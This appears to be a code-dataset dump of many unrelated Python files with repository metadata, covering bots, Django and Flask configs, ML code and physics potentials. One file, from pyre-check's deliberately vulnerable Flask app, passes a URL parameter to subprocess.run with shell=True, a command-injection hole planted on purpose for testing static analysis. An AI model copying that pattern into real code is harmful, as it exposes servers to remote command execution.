74b6978982a47fc9fc8bc63123001253b0b4b94e | 4,023 | py | Python | standalone_bot.py | Rangeeshar/movie_check | fa0e0a7e8ed381032f8efc161ec5184c995377b1 | [
"MIT"
] | null | null | null | standalone_bot.py | Rangeeshar/movie_check | fa0e0a7e8ed381032f8efc161ec5184c995377b1 | [
"MIT"
] | null | null | null | standalone_bot.py | Rangeeshar/movie_check | fa0e0a7e8ed381032f8efc161ec5184c995377b1 | [
"MIT"
] | null | null | null |
CHECKING = "Sorry bookings are not open for Movie you wanted, Don't worry i will be checking and will tell you once it is available."
BOOKING_OPEN = "Hurray ! Bookings open for movie you Wanted ! \n \n {}"
DEFAULT = "Hello There, Welcome to movie_reminder_bot send me messages using the following format - MU:url1,url2... | 32.443548 | 133 | 0.605518 | import urllib3
import telegram
from bs4 import BeautifulSoup
import time
import requests
from lxml import html
import argparse
from urllib.parse import urlparse
import threading
CHECKING = "Sorry bookings are not open for Movie you wanted, Don't worry i will be checking and will tell you once it is available."
BOOKIN... | 0 | 0 | 0 | 3,088 | 0 | 0 | 0 | -20 | 267 |
20e21dd3c3bf23b90b474d9bb9ce3e6f6252870f | 65 | py | Python | pyarchops_dnsmasq/__init__.py | pyarchops/dnsmasq | 074adffda3578738e53d71359c7812f8f23d43de | [
"MIT"
] | 1 | 2019-09-04T03:23:07.000Z | 2019-09-04T03:23:07.000Z | pyarchops_dnsmasq/__init__.py | pyarchops/dnsmasq | 074adffda3578738e53d71359c7812f8f23d43de | [
"MIT"
] | null | null | null | pyarchops_dnsmasq/__init__.py | pyarchops/dnsmasq | 074adffda3578738e53d71359c7812f8f23d43de | [
"MIT"
] | null | null | null | """ __init__.py for pyarchops_dnsmasq """
__version__ = '0.0.2'
| 16.25 | 41 | 0.676923 | """ __init__.py for pyarchops_dnsmasq """
__version__ = '0.0.2'
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
e221521b11b0f1bfc2ea74c1e0192e8e638577c6 | 346 | py | Python | manage.py | eddowh/flask-react-redux-demo | 68384efe7a4c2999c2cd947208b8f8db887fd802 | [
"Unlicense"
] | 6 | 2017-09-15T08:14:12.000Z | 2021-03-20T06:50:53.000Z | manage.py | eddowh/flask-react-redux-demo | 68384efe7a4c2999c2cd947208b8f8db887fd802 | [
"Unlicense"
] | null | null | null | manage.py | eddowh/flask-react-redux-demo | 68384efe7a4c2999c2cd947208b8f8db887fd802 | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
from importlib import import_module
import sys
from flask_migrate import MigrateCommand
import settings
sys.path.insert(1, settings.BASE_DIR)
sys.path.insert(1, settings.APP_DIR)
api = import_module('api')
manager = api.manager
manager.add_command('db', MigrateCommand)
if __name__ == '__m... | 17.3 | 41 | 0.748555 | # -*- coding: utf-8 -*-
from importlib import import_module
import sys
from flask_migrate import MigrateCommand
import settings
sys.path.insert(1, settings.BASE_DIR)
sys.path.insert(1, settings.APP_DIR)
api = import_module('api')
manager = api.manager
manager.add_command('db', MigrateCommand)
if __name__ == '__m... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
6028378a36889501280b602ea6d96c50da7ac963 | 2,669 | py | Python | rlkit/torch/bc/bc.py | yifan-you-37/rl_swiss | 8b0ee7caa5c1fa93860916004cf4fd970667764f | [
"MIT"
] | 56 | 2019-10-20T03:09:02.000Z | 2022-03-25T09:21:40.000Z | rlkit/torch/bc/bc.py | yifan-you-37/rl_swiss | 8b0ee7caa5c1fa93860916004cf4fd970667764f | [
"MIT"
] | 3 | 2020-10-01T07:33:51.000Z | 2021-05-12T03:40:57.000Z | rlkit/torch/bc/bc.py | yifan-you-37/rl_swiss | 8b0ee7caa5c1fa93860916004cf4fd970667764f | [
"MIT"
] | 10 | 2019-11-04T16:56:09.000Z | 2022-03-25T09:21:41.000Z | import torch.optim as optim
| 29.01087 | 81 | 0.61746 | import numpy as np
from collections import OrderedDict
import torch
import torch.optim as optim
import rlkit.torch.pytorch_util as ptu
from rlkit.torch.core import np_to_pytorch_batch
from rlkit.torch.torch_base_algorithm import TorchBaseAlgorithm
class BC(TorchBaseAlgorithm):
def __init__(
self,
... | 0 | 53 | 0 | 2,342 | 0 | 0 | 0 | 88 | 157 |
930d447660672c37e1fca72c534e1d7c0031776a | 464 | py | Python | games/migrations/0022_auto_20200701_0832.py | Geroxus/boards | e743674532a84754a8e48031d606871539e293b6 | [
"MIT"
] | null | null | null | games/migrations/0022_auto_20200701_0832.py | Geroxus/boards | e743674532a84754a8e48031d606871539e293b6 | [
"MIT"
] | null | null | null | games/migrations/0022_auto_20200701_0832.py | Geroxus/boards | e743674532a84754a8e48031d606871539e293b6 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.7 on 2020-07-01 08:32
| 23.2 | 99 | 0.633621 | # Generated by Django 3.0.7 on 2020-07-01 08:32
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('games', '0021_auto_20200701_0830'),
]
operations = [
migrations.AlterField(
model_name='piece',... | 0 | 0 | 0 | 317 | 0 | 0 | 0 | 30 | 68 |
c2c1bd497ad8f71048371d0c48512587f14b17c8 | 1,728 | py | Python | scripts/plot_cplx_seq.py | jweber94/complex_number_sequence | 13416fd95f30985b48ed98297c1a7a3d20ffb3ce | [
"MIT"
] | null | null | null | scripts/plot_cplx_seq.py | jweber94/complex_number_sequence | 13416fd95f30985b48ed98297c1a7a3d20ffb3ce | [
"MIT"
] | null | null | null | scripts/plot_cplx_seq.py | jweber94/complex_number_sequence | 13416fd95f30985b48ed98297c1a7a3d20ffb3ce | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import argparse
parser = argparse.ArgumentParser(
description="Pass path to the data storage location")
parser.add_argument(
"-p",
"--path",
type=str,
help="Path to the result data of run_mandelbrot that should be plotted.")
parser.add_argument(
"-r",
"--result",
type... | 25.791045 | 77 | 0.69213 | #!/usr/bin/python3
import matplotlib.pyplot as plt
import numpy as np
import argparse
parser = argparse.ArgumentParser(
description="Pass path to the data storage location")
parser.add_argument(
"-p",
"--path",
type=str,
help="Path to the result data of run_mandelbrot that should be plotted.")
par... | 0 | 0 | 0 | 0 | 0 | 1,163 | 0 | 7 | 137 |
633f1b1df140231070406f497760b23038391d7a | 476 | py | Python | all_the_chatbots/catty.py | OpenJarbas/all_the_chatbots | 4c927a30a428079745603a8a8c8a687643065ae6 | [
"Apache-2.0"
] | 1 | 2020-06-17T10:53:25.000Z | 2020-06-17T10:53:25.000Z | all_the_chatbots/catty.py | OpenJarbas/all_the_chatbots | 4c927a30a428079745603a8a8c8a687643065ae6 | [
"Apache-2.0"
] | null | null | null | all_the_chatbots/catty.py | OpenJarbas/all_the_chatbots | 4c927a30a428079745603a8a8c8a687643065ae6 | [
"Apache-2.0"
] | 2 | 2020-08-16T16:38:27.000Z | 2021-03-08T11:33:15.000Z |
if __name__ == "__main__":
print(ask_catty())
| 26.444444 | 108 | 0.605042 | import requests
from bs4 import BeautifulSoup
def ask_catty(text="do aliens exist"):
url = " http://lcamtuf.coredump.cx/c3-2.shtml"
data = {
"said": text}
html = requests.post(url, data).text
soup = BeautifulSoup(html, 'html.parser')
text = str(soup.p)
text = text.split("\n")[-1]
r... | 0 | 0 | 0 | 0 | 0 | 354 | 0 | 2 | 67 |
faa8961721faac3dfd2ef086ab5e9e2cbbee9109 | 295 | py | Python | henchman/__init__.py | FeatureLabs/henchman | f8c64494e8a074de169a33e25665a9cda3368cc3 | [
"BSD-3-Clause"
] | 13 | 2018-09-29T02:54:06.000Z | 2021-07-26T07:07:17.000Z | henchman/__init__.py | evgeni-nikolaev/henchman | f8c64494e8a074de169a33e25665a9cda3368cc3 | [
"BSD-3-Clause"
] | 2 | 2021-06-09T17:53:41.000Z | 2021-11-15T17:49:43.000Z | henchman/__init__.py | evgeni-nikolaev/henchman | f8c64494e8a074de169a33e25665a9cda3368cc3 | [
"BSD-3-Clause"
] | 3 | 2019-11-23T07:49:23.000Z | 2021-04-22T00:47:35.000Z | # -*- coding: utf-8 -*-
'''Top-level package for Henchman.
Has the following modules:
diagnostics
learning
selection
plotting
Package is under active development.
'''
__author__ = '''Feature Labs Team'''
__email__ = 'team@featurelabs.com'
__version__ = '0.0.4'
| 19.666667 | 36 | 0.647458 | # -*- coding: utf-8 -*-
'''Top-level package for Henchman.
Has the following modules:
diagnostics
learning
selection
plotting
Package is under active development.
'''
__author__ = '''Feature Labs Team'''
__email__ = 'team@featurelabs.com'
__version__ = '0.0.4'
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1994455e0acc60f69e9ff58fae6df65b5efe6c13 | 5,564 | py | Python | pypospack/potential/pair_morse.py | eragasa/pypospack | 21cdecaf3b05c87acc532d992be2c04d85bfbc22 | [
"MIT"
] | 4 | 2018-01-18T19:59:56.000Z | 2020-08-25T11:56:52.000Z | mexm/potential/pair_morse.py | eragasa/mexm-base | c8d84057c483e1bd06bb8b2e835274f6a4cd61b9 | [
"MIT"
] | 1 | 2018-04-22T23:02:13.000Z | 2018-04-22T23:02:13.000Z | mexm/potential/pair_morse.py | eragasa/mexm-base | c8d84057c483e1bd06bb8b2e835274f6a4cd61b9 | [
"MIT"
] | 1 | 2019-09-14T07:04:42.000Z | 2019-09-14T07:04:42.000Z | """
this module impplements the morse potential
"""
__author__ = "Eugene J. Ragasa"
__copyright__ = "Copyright (C) 2017"
__license__ = "Simplified BSD License"
__version__ = 20171102
if __name__ == "__main__":
o = MorsePotential(symbols=['Ni'])
| 36.366013 | 111 | 0.573508 | """
this module impplements the morse potential
"""
import copy
from collections import OrderedDict
import numpy as np
from pypospack.potential import PairPotential
from pypospack.potential import determine_symbol_pairs
__author__ = "Eugene J. Ragasa"
__copyright__ = "Copyright (C) 2017"
__license__ = "Simplified BSD L... | 0 | 0 | 0 | 4,861 | 0 | 238 | 0 | 58 | 156 |
17ff492b281da24d35356ca9584b9a9b23938228 | 2,633 | py | Python | app/services/mail/service.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | null | null | null | app/services/mail/service.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | null | null | null | app/services/mail/service.py | maxzhenzhera/my_vocab_backend | 2e9f968374e0bc2fcc0ae40830ca40f3cf5754d1 | [
"MIT"
] | null | null | null | import logging
import warnings
__all__ = ['MailService']
warnings.warn(
UserWarning(
'Emails will be built for the LOCAL DEVELOPMENT. '
'For production: programmer has to provide a new implementation!'
)
)
logger = logging.getLogger(__name__)
| 28.619565 | 90 | 0.669199 | import logging
import warnings
from dataclasses import dataclass
from fastapi import (
BackgroundTasks,
Depends,
Request
)
from fastapi_mail import (
FastMail,
MessageSchema
)
from ...api.dependencies.mail import MailSenderMarker
from ...resources.mail.subjects import (
CONFIRMATION_MAIL_SUBJE... | 0 | 1,881 | 0 | 0 | 0 | 0 | 0 | 299 | 179 |
4dd60bd46dafc9a0dcc821c4b1d816850f82b1c7 | 3,242 | py | Python | fboss/agent/tools/fboss_route.py | NunoEdgarGFlowHub/fboss | b665a1dac4917dd8984573ef5a471e4825d506f9 | [
"BSD-3-Clause"
] | 1 | 2015-03-12T11:40:43.000Z | 2015-03-12T11:40:43.000Z | fboss/agent/tools/fboss_route.py | NunoEdgarGFlowHub/fboss | b665a1dac4917dd8984573ef5a471e4825d506f9 | [
"BSD-3-Clause"
] | null | null | null | fboss/agent/tools/fboss_route.py | NunoEdgarGFlowHub/fboss | b665a1dac4917dd8984573ef5a471e4825d506f9 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (C) 2004-present Facebook. All Rights Reserved
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from __future__ import absolute_import
"""Add, change, or delete a route on FBOSS controller
"""
from argparse import ArgumentParser
DEFAULT_CLIENT... | 32.42 | 77 | 0.698643 | # Copyright (C) 2004-present Facebook. All Rights Reserved
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from __future__ import absolute_import
"""Add, change, or delete a route on FBOSS controller
"""
import contextlib
import ipaddr
from argparse impo... | 0 | 427 | 0 | 0 | 0 | 679 | 0 | 175 | 359 |
cde13c67bda582fd8819954b6601faa11656495d | 417 | py | Python | ml_source/src/diabetes/scoring/batch/run.py | GolamRashed/azure-databricks-mlops-mlflow | d1e4a21cb5047213ac0d4c620aac8938048d8168 | [
"MIT"
] | 33 | 2021-06-02T12:57:33.000Z | 2022-03-02T19:21:03.000Z | ml_source/src/diabetes/scoring/batch/run.py | GolamRashed/azure-databricks-mlops-mlflow | d1e4a21cb5047213ac0d4c620aac8938048d8168 | [
"MIT"
] | 5 | 2021-09-16T12:35:19.000Z | 2021-12-12T19:20:15.000Z | ml_source/src/diabetes/scoring/batch/run.py | GolamRashed/azure-databricks-mlops-mlflow | d1e4a21cb5047213ac0d4c620aac8938048d8168 | [
"MIT"
] | 17 | 2021-06-02T13:11:39.000Z | 2022-03-28T10:08:20.000Z | import numpy as np
import pandas as pd
from sklearn.linear_model import Ridge
def batch_scoring(model: Ridge, df: pd.DataFrame) -> np.array:
"""[Batch scoring method]
Args:
model (Ridge): [Model]
df (pd.DataFrame): [Input dataframe for prediction]
Returns:
np.array : Returns pred... | 23.166667 | 63 | 0.661871 | import numpy as np
import pandas as pd
from sklearn.linear_model import Ridge
def batch_scoring(model: Ridge, df: pd.DataFrame) -> np.array:
"""[Batch scoring method]
Args:
model (Ridge): [Model]
df (pd.DataFrame): [Input dataframe for prediction]
Returns:
np.array : Returns pred... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
2f9c80cc70dc98f03e2c0549432dda13a732fdbd | 294 | py | Python | testapp/urls.py | rohitchopra32/Django-Celery-With-Progress-Bar | 208e03c7efbaab95d51cae875c31b1c5dfdab88b | [
"MIT"
] | null | null | null | testapp/urls.py | rohitchopra32/Django-Celery-With-Progress-Bar | 208e03c7efbaab95d51cae875c31b1c5dfdab88b | [
"MIT"
] | null | null | null | testapp/urls.py | rohitchopra32/Django-Celery-With-Progress-Bar | 208e03c7efbaab95d51cae875c31b1c5dfdab88b | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
# Examples:
# url(r'^$', 'celery_try.views.home', name='home'),
# url(r'^blog/', include('blog.urls')),
path('', views.index,name='index'),
path('poll_state', views.poll_state,name='poll_state'),
]
| 24.5 | 59 | 0.629252 | from django.urls import include, path
from . import views
urlpatterns = [
# Examples:
# url(r'^$', 'celery_try.views.home', name='home'),
# url(r'^blog/', include('blog.urls')),
path('', views.index,name='index'),
path('poll_state', views.poll_state,name='poll_state'),
]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 | 0 |
f55fb9a9fd1fdcb34d3b94b4d59506d82ef36630 | 3,250 | py | Python | settings/production.py | smevirtual/aperte | cc63e2fbaaca4e1d38db911b496fe5cf32070886 | [
"Apache-2.0"
] | null | null | null | settings/production.py | smevirtual/aperte | cc63e2fbaaca4e1d38db911b496fe5cf32070886 | [
"Apache-2.0"
] | 12 | 2018-11-02T23:59:34.000Z | 2019-04-10T12:24:03.000Z | settings/production.py | smevirtual/aperte | cc63e2fbaaca4e1d38db911b496fe5cf32070886 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 SME Virtual Network Contributors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 40.625 | 93 | 0.577846 | # Copyright 2018 SME Virtual Network Contributors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | 0 | 0 | 0 | 2,220 | 0 | 0 | 0 | 17 | 68 |
3467d161f5beba95f52fe0fb3dfe619923b0dd7e | 450 | py | Python | packages/pyright-internal/src/tests/samples/protocol34.py | Microsoft/pyright | adf7c3e92e4540d930e3652de3c1c335855af595 | [
"MIT"
] | 3,934 | 2019-03-22T09:26:41.000Z | 2019-05-06T21:03:08.000Z | packages/pyright-internal/src/tests/samples/protocol34.py | Microsoft/pyright | adf7c3e92e4540d930e3652de3c1c335855af595 | [
"MIT"
] | 107 | 2019-03-24T04:09:37.000Z | 2019-05-06T17:00:04.000Z | packages/pyright-internal/src/tests/samples/protocol34.py | Microsoft/pyright | adf7c3e92e4540d930e3652de3c1c335855af595 | [
"MIT"
] | 119 | 2019-03-23T10:48:04.000Z | 2019-05-06T08:57:56.000Z | # This sample tests a case where a method calls its own constructor
# with a specialized type that uses its own TypeVar and the expected
# type is a protocol.
from typing import TypeVar
T = TypeVar("T")
| 20.454545 | 68 | 0.64 | # This sample tests a case where a method calls its own constructor
# with a specialized type that uses its own TypeVar and the expected
# type is a protocol.
from typing import Generic, TypeVar, Protocol
T = TypeVar("T")
class X(Protocol):
def f(self) -> int:
...
class Y(Generic[T]):
def f(self) ... | 0 | 0 | 0 | 178 | 0 | 0 | 0 | 19 | 46 |
990c53575dcdd68d321005e1d0bf91dacc6daebe | 252 | py | Python | auth/views.py | EVEprosper/ProsperForecast | ffc5a9fb9c6bf5ac0827a52107fe3c8884050c3b | [
"MIT"
] | null | null | null | auth/views.py | EVEprosper/ProsperForecast | ffc5a9fb9c6bf5ac0827a52107fe3c8884050c3b | [
"MIT"
] | 1 | 2018-11-22T03:14:50.000Z | 2018-11-22T03:14:50.000Z | auth/views.py | EVEprosper/ProsperForecast | ffc5a9fb9c6bf5ac0827a52107fe3c8884050c3b | [
"MIT"
] | null | null | null | """endpoint stuff goes here?"""
import flask
import flask_restful
from . import endpoints
blueprint = flask.Blueprint(
'auth',
__name__,
url_prefix='/auth',
)
api = flask_restful.Api(blueprint)
api.add_resource(endpoints.Login, '/login')
| 18 | 43 | 0.718254 | """endpoint stuff goes here?"""
import flask
import flask_restful
from . import endpoints
blueprint = flask.Blueprint(
'auth',
__name__,
url_prefix='/auth',
)
api = flask_restful.Api(blueprint)
api.add_resource(endpoints.Login, '/login')
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
781e7157d81fb19e85b1ed49ec4e992573427a85 | 447 | py | Python | src/refactory/spec.py | lmmx/refactory | 39e97528733f4cb2607a89184e3b0049f9784547 | [
"MIT"
] | null | null | null | src/refactory/spec.py | lmmx/refactory | 39e97528733f4cb2607a89184e3b0049f9784547 | [
"MIT"
] | 1 | 2022-02-07T22:18:30.000Z | 2022-02-07T22:18:30.000Z | src/refactory/spec.py | lmmx/refactory | 39e97528733f4cb2607a89184e3b0049f9784547 | [
"MIT"
] | null | null | null | from __future__ import annotations
from .log_utils import Console
__all__ = ["load_spec"]
logger = Console(name=__name__).logger
| 22.35 | 57 | 0.720358 | from __future__ import annotations
import ujson
from .data_model import RefactorRuleSpec
from .log_utils import Console
__all__ = ["load_spec"]
logger = Console(name=__name__).logger
def load_spec(spec: str) -> RefactorRuleSpec:
if isinstance(spec, str):
spec = ujson.loads(spec)
if not isinstance(... | 0 | 0 | 0 | 0 | 0 | 236 | 0 | 10 | 69 |
1005ad4eccf108b7018cd5b1cc1d67f72692d201 | 3,957 | py | Python | inference/models/vgg.py | matthewfeickert/mining-for-substructure-lens | 9360e678aac78b6b260dab55ce264bfddea0c206 | [
"MIT"
] | 24 | 2019-09-06T02:55:57.000Z | 2021-11-26T19:55:44.000Z | inference/models/vgg.py | johannbrehmer/mining-for-substructure-lens | a15a257051b68adad7ca88a388b0084abab1d97f | [
"MIT"
] | null | null | null | inference/models/vgg.py | johannbrehmer/mining-for-substructure-lens | a15a257051b68adad7ca88a388b0084abab1d97f | [
"MIT"
] | 11 | 2019-09-04T15:42:08.000Z | 2021-08-01T21:24:13.000Z | from __future__ import absolute_import, division, print_function, unicode_literals
import torch.nn as nn
import logging
logger = logging.getLogger(__name__)
| 37.330189 | 156 | 0.5628 | from __future__ import absolute_import, division, print_function, unicode_literals
import torch
import torch.nn as nn
from torch.autograd import grad
import logging
logger = logging.getLogger(__name__)
class VGGRatioEstimator(nn.Module):
def __init__(self, n_parameters, cfg="A", input_mean=None, input_std=None,... | 0 | 1,003 | 0 | 2,726 | 0 | 0 | 0 | 1 | 68 |
294cbcf669b1cb6cd8cad63e2dd81c9f505f5c0a | 432 | py | Python | deliberately_vulnerable_flask_app/rce.py | gbleaney/pyre-check | d27297ed13537df076de1ec3772b121f03d79d8b | [
"MIT"
] | null | null | null | deliberately_vulnerable_flask_app/rce.py | gbleaney/pyre-check | d27297ed13537df076de1ec3772b121f03d79d8b | [
"MIT"
] | null | null | null | deliberately_vulnerable_flask_app/rce.py | gbleaney/pyre-check | d27297ed13537df076de1ec3772b121f03d79d8b | [
"MIT"
] | null | null | null |
from flask import Flask
app = Flask(__name__)
| 19.636364 | 49 | 0.696759 | import subprocess
from flask import Flask
app = Flask(__name__)
@app.route("/rce/<string:payload>")
def definite_rce(payload: str) -> None:
subprocess.run(payload, shell=True)
@app.route("/rce/<string:payload>")
def potential_rce_1(payload: str) -> None:
subprocess.run(["echo", payload])
@app.route("/r... | 0 | 293 | 0 | 0 | 0 | 0 | 0 | -4 | 91 |
48646922e772366334acf855f52ef4ebc13688b5 | 361 | py | Python | tests/test_import_export_numpy.py | HEBOS/PILasOPENCV | 7253d0ad98eba199a600d55f2e1e40acd4a5990b | [
"MIT"
] | 19 | 2019-05-05T07:37:10.000Z | 2021-12-09T15:52:51.000Z | tests/test_import_export_numpy.py | AnkaChan/PILasOPENCV | 0a5b14628d831c23be25688b5a99097c55ce492c | [
"MIT"
] | 5 | 2019-04-09T23:54:17.000Z | 2021-05-16T08:31:22.000Z | tests/test_import_export_numpy.py | AnkaChan/PILasOPENCV | 0a5b14628d831c23be25688b5a99097c55ce492c | [
"MIT"
] | 6 | 2019-04-08T12:33:34.000Z | 2021-05-15T14:57:50.000Z | from __future__ import print_function
import PILasOPENCV as Image
import cv2
im = Image.open("lena.jpg")
numpy_image = im.getim()
print(type(numpy_image), numpy_image.shape)
cv2.imshow("numpy_image", numpy_image)
cv2.waitKey(0)
# import numpy image
new_im = Image.new("RGB", (512, 512), "black")
new_im.show()
... | 27.769231 | 47 | 0.739612 | from __future__ import print_function
import PILasOPENCV as Image
import cv2
im = Image.open("lena.jpg")
numpy_image = im.getim()
print(type(numpy_image), numpy_image.shape)
cv2.imshow("numpy_image", numpy_image)
cv2.waitKey(0)
# import numpy image
new_im = Image.new("RGB", (512, 512), "black")
new_im.show()
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
fae86cbb6ce5d8dc6ad374ae3ea9ea94eaeca3bc | 160 | py | Python | pygmm/types.py | arkottke/pygmm | e3b37ea3f81ffb847e040292c6731e36627ac9aa | [
"MIT"
] | 15 | 2016-03-29T05:01:09.000Z | 2022-02-09T08:26:07.000Z | pygmm/types.py | arkottke/pygmm | e3b37ea3f81ffb847e040292c6731e36627ac9aa | [
"MIT"
] | 3 | 2016-03-29T05:12:28.000Z | 2017-08-18T21:49:34.000Z | pygmm/types.py | arkottke/pygmm | e3b37ea3f81ffb847e040292c6731e36627ac9aa | [
"MIT"
] | 13 | 2016-03-29T05:18:39.000Z | 2022-01-26T03:37:08.000Z | # -*- coding: utf-8 -*-
"""Common types used across the project."""
import typing
import numpy as np
ArrayLike = typing.Union[typing.List[float], np.ndarray]
| 20 | 56 | 0.7 | # -*- coding: utf-8 -*-
"""Common types used across the project."""
import typing
import numpy as np
ArrayLike = typing.Union[typing.List[float], np.ndarray]
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
df066d476034a94b4570ce8102c7fea21964b8ea | 12,631 | py | Python | support/utils.py | nsacyber/BAM | 1eda2407211586b755eeae6e1f9006ff06f899ec | [
"CC0-1.0"
] | 125 | 2019-09-08T17:20:04.000Z | 2022-03-15T02:06:42.000Z | support/utils.py | demirelcan/BAM | 1eda2407211586b755eeae6e1f9006ff06f899ec | [
"CC0-1.0"
] | 1 | 2019-11-20T13:46:15.000Z | 2019-11-20T13:46:15.000Z | support/utils.py | demirelcan/BAM | 1eda2407211586b755eeae6e1f9006ff06f899ec | [
"CC0-1.0"
] | 23 | 2019-10-24T16:04:41.000Z | 2021-07-10T07:07:25.000Z | '''
This module contains various utilitarian functions used by other modules.
'''
#***************************************
# Imports
#***************************************
import sys
import os
import stat
import logging, logging.handlers
from dependencies.pefile import pefile
#***********************************... | 33.327177 | 107 | 0.590531 | '''
This module contains various utilitarian functions used by other modules.
'''
#***************************************
# Imports
#***************************************
import sys
import os
import stat
import threading
import logging, logging.handlers
from dependencies.pefile import pefile
import globs
impo... | 0 | 0 | 0 | 0 | 0 | 510 | 0 | -19 | 115 |
4a79a54443d366332ff5b78911a124f5c2c47690 | 8,901 | py | Python | syntaxnet_wrapper/src/parser_eval.py | lint-ai/syntaxnet-wrapper | 558d89a6d22028a94ddc18779193075037c4dc65 | [
"Apache-2.0"
] | null | null | null | syntaxnet_wrapper/src/parser_eval.py | lint-ai/syntaxnet-wrapper | 558d89a6d22028a94ddc18779193075037c4dc65 | [
"Apache-2.0"
] | null | null | null | syntaxnet_wrapper/src/parser_eval.py | lint-ai/syntaxnet-wrapper | 558d89a6d22028a94ddc18779193075037c4dc65 | [
"Apache-2.0"
] | null | null | null | #
# Heavily inspired from https://github.com/IINemo/docker-syntaxnet_rus://github.com/IINemo/docker-syntaxnet_rus
# itself inspired from https://github.com/tensorflow/models/blob/master/syntaxnet/syntaxnet/parser_eval.py
# just modified to be able to call wrapper several time for the same process
#
"""A program to ann... | 41.018433 | 148 | 0.588473 | #
# Heavily inspired from https://github.com/IINemo/docker-syntaxnet_rus://github.com/IINemo/docker-syntaxnet_rus
# itself inspired from https://github.com/tensorflow/models/blob/master/syntaxnet/syntaxnet/parser_eval.py
# just modified to be able to call wrapper several time for the same process
#
"""A program to ann... | 0 | 316 | 0 | 6,100 | 0 | 625 | 0 | 105 | 319 |
cd2f825dfbb7d7ee0e55543b0a0ea7b86ab54d63 | 497 | py | Python | exercises/Desafio008.py | zThiago15/Curso-em-Video | ef25e0497edb79bdfbe71fde485f4dafc0d2a0e6 | [
"MIT"
] | null | null | null | exercises/Desafio008.py | zThiago15/Curso-em-Video | ef25e0497edb79bdfbe71fde485f4dafc0d2a0e6 | [
"MIT"
] | null | null | null | exercises/Desafio008.py | zThiago15/Curso-em-Video | ef25e0497edb79bdfbe71fde485f4dafc0d2a0e6 | [
"MIT"
] | 1 | 2021-07-24T21:39:26.000Z | 2021-07-24T21:39:26.000Z | cores = {'branco':'\033[30m','vermelho':'\033[31m','amarelo':'\033[33m'}
m = float(input('\033[32mDigite uma distncia em metros: '))
km = m/1000
hm = m/100
dam = m/10
dm = m*10
c = m*100
mm = m*1000
print(f'{(cores["branco"])}A medida de {(cores["vermelho"])}{m}m {(cores["branco"])}equivale a:\n{(cores["amarelo"])}{km... | 45.181818 | 295 | 0.60161 | cores = {'branco':'\033[30m','vermelho':'\033[31m','amarelo':'\033[33m'}
m = float(input('\033[32mDigite uma distância em metros: '))
km = m/1000
hm = m/100
dam = m/10
dm = m*10
c = m*100
mm = m*1000
print(f'{(cores["branco"])}A medida de {(cores["vermelho"])}{m}m {(cores["branco"])}equivale a:\n{(cores["amarelo"])}{k... | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
0b1307435e3d19a954c38a3d9ed98980158d1af3 | 19,421 | py | Python | primitives_ubc/regCCFS/src/training_utils/grow_CCT.py | tonyjo/ubc_primitives | bc94a403f176fe28db2a9ac9d1a48cb9db021f90 | [
"Apache-2.0"
] | null | null | null | primitives_ubc/regCCFS/src/training_utils/grow_CCT.py | tonyjo/ubc_primitives | bc94a403f176fe28db2a9ac9d1a48cb9db021f90 | [
"Apache-2.0"
] | 4 | 2020-07-19T00:45:29.000Z | 2020-12-10T18:25:41.000Z | primitives_ubc/regCCFS/src/training_utils/grow_CCT.py | tonyjo/ubc_primitives | bc94a403f176fe28db2a9ac9d1a48cb9db021f90 | [
"Apache-2.0"
] | 1 | 2021-04-30T18:13:49.000Z | 2021-04-30T18:13:49.000Z | import inspect
import numpy as np
from primitives_ubc.regCCFS.src.utils.commonUtils import sVT
from primitives_ubc.regCCFS.src.utils.commonUtils import is_numeric
from primitives_ubc.regCCFS.src.utils.commonUtils import fastUnique
from primitives_ubc.regCCFS.src.utils.commonUtils import queryIfColumnsVary
from primitiv... | 47.13835 | 155 | 0.562226 | import inspect
import numpy as np
from primitives_ubc.regCCFS.src.utils.commonUtils import sVT
from primitives_ubc.regCCFS.src.utils.commonUtils import is_numeric
from primitives_ubc.regCCFS.src.utils.commonUtils import fastUnique
from primitives_ubc.regCCFS.src.utils.commonUtils import queryIfColumnsVary
from primitiv... | 0 | 0 | 0 | 0 | 0 | 501 | 0 | 57 | 66 |
91604e61768226066486603c80880446342f3a51 | 11,704 | py | Python | projects/tutorials/pointnav_ithor_rgb_ddppo.py | ehsanik/allenact | 043487d542bc856ad70bc7ad27eca60b8ea9e37f | [
"MIT"
] | null | null | null | projects/tutorials/pointnav_ithor_rgb_ddppo.py | ehsanik/allenact | 043487d542bc856ad70bc7ad27eca60b8ea9e37f | [
"MIT"
] | null | null | null | projects/tutorials/pointnav_ithor_rgb_ddppo.py | ehsanik/allenact | 043487d542bc856ad70bc7ad27eca60b8ea9e37f | [
"MIT"
] | null | null | null | import torch.nn as nn
import torch.optim as optim
| 34.627219 | 106 | 0.603554 | import glob
import os
from math import ceil
from typing import Dict, Any, List, Optional, Sequence
import gym
import numpy as np
import torch
import torch.nn as nn
import torch.optim as optim
